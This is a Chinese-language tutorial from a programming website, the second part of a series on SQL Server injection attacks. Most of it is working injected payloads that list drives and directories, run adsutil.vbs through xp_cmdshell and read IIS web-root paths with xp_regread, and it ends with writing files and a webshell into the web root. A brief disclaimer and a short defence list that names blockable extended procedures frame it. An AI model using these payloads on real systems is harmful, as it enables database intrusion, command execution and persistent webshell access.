首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 注入攻擊實戰技巧(二):xp_cmdshell、xp_subdirs、adsutil.vbs

     編輯:關於SqlServer

聲明:本文僅供安全研究與防禦參考,嚴禁用於非法入侵。

接續上篇,介紹三種更進階的目錄探測與 Web 路徑定位手法。

方法一:xp_availablemedia 列出所有磁碟機

;insert dirs exec master.dbo.xp_availablemedia;--

查詢 dirs 表即可獲得磁碟機代號與資訊,作為後續遍歷的起點。

方法二:xp_subdirs 只列第一層子目錄(需 sa 權限)

;insert into dirs exec master.dbo.xp_subdirs 'c:\';--
  • 優點:輸出乾淨,僅第一層,易於定位 Web 根目錄候選資料夾。
  • 缺點:僅 sa 可用;管理員常刪除此擴展預存程序。

方法三:利用 adsutil.vbs 列舉 IIS 虛擬目錄(Win2000 專用)

透過 xp_cmdshell 執行 cscript adsutil.vbs enum w3svc/1/root 將第一個網站設定導出至文字檔,再寫入 VBScript 解析路徑,最終在 Web 根目錄寫入 dd.asp 驗證路徑。

-- 步驟 1:導出 IIS 設定
exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/1/root > a.txt';

-- 步驟 2:寫入解析腳本 read.vbs(略)
-- 步驟 3:執行 read.vbs,將實體路徑寫入 Web 根目錄 dd.asp
-- 步驟 4:瀏覽 https://target/dd.asp 取得路徑
  • 限制:僅適用 Windows 2000(IIS 5.0),2003 後網站 ID 非連續編號,難以枚舉。
  • 依賴:需 xp_cmdshell 權限、adsutil.vbs 存在且路徑正確。

方法四:從登錄讀取 Web 根路徑(推薦)

利用 xp_regread(PUBLIC 權限)直接讀取 HKLM\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ 下的 / 值。

create table newtable(id int identity(1,1), paths varchar(500));
declare @test varchar(200);
exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',
    @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\',
    @value_name='/', @value=@test output;
insert into newtable(paths) values(@test);

再以錯誤回顯讀取 newtable 即得 Web 根目錄,隨後可直接用 FSO 寫入 Webshell。

防禦總結

  • 移除 xp_cmdshell、xp_regread、xp_subdirs 等高危擴展。
  • IIS 網站目錄權限最小化,禁用父路徑瀏覽。
  • 部署 WAF 攔截含 xp_、sp_oacreate 等關鍵字的請求。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved